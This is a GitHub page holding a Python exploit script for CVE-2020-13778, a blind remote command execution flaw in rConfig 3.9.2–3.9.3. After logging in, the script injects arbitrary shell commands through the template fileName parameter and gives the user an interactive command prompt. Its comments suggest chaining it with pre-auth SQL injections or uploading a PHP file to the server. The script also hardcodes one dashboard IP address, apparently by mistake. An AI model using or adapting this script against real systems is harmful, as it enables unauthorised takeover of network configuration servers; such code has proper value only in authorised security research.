theguly typo History

1 contributor

76 lines (64 sloc) 2.14 KB

```python
#!/usr/bin/python3
# CVE-2020-13778
# author https://github.com/theguly/
#
# tested against rConfig 3.9.2 to 3.9.3
# this blind RCE is post auth, but a standard user is enough
# if you don't have a valid user, you can chain this one with any other preauth SQL Injection (CVE-2020-10546, CVE-2020-10547, CVE-2020-10548, CVE-2020-10549) or create a new user

import sys
import requests
import urllib3
import random
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def cleanup():
    print('[+] cleaning up created templats')
    send("rm -f -- /home/rconfig/templates/PWN*")

def send(command):
    payload = 'PWN' + ''.join(random.sample(prefixspace,6)) + ';' + command + ';#a.yml'
    url = burl + aurl
    r = s.post(url,data={'fileName': payload})
    if 'duplicateFile' in r.text:
        print('[*] command not executed because of duplicated file, you can retry or run :cleanup')
    else:
        print('[+] command sent')
    return

aurl = "/lib/ajaxHandlers/ajaxAddTemplate.php"
# we have the same command injection also on ajaxEditTemplate
#aurl = "/lib/ajaxHandlers/ajaxEditTemplate.php"
lurl = "/lib/crud/userprocess.php"

if len(sys.argv) < 4:
    print('use: ./{} target user password'.format(sys.argv[0]))
    print('./{} https://1.2.3.4/ user password'.format(sys.argv[0]))
    sys.exit()

burl   = sys.argv[1]
user   = sys.argv[2]
passwd = sys.argv[3]

prefixspace=string.ascii_lowercase+string.ascii_uppercase+string.digits

s = requests.Session()
s.verify = False

data = {
    "user": user,
    "pass": passwd,
    "sublogin": 1
}

print('[+] loggin in as {}'.format(user))
r = s.post(burl + lurl, data, allow_redirects=False)
r = s.get('https://192.168.100.102/dashboard.php')
if 'Enter Username & Password to login' in r.text:
    print('[-] login failed')
    sys.exit()
print('[+] login succeeded')
print('[+] you can now interact or upload a php')

while True:
    command = input('blindRCE> ')
    print("->"+command)
    if command.startswith(':exit'):
        cleanup()
        print('Bye')
        sys.exit()
    elif command.startswith(':cleanup'):
        cleanup()
    else:
        send(command)
```

```
76  sys.exit()
```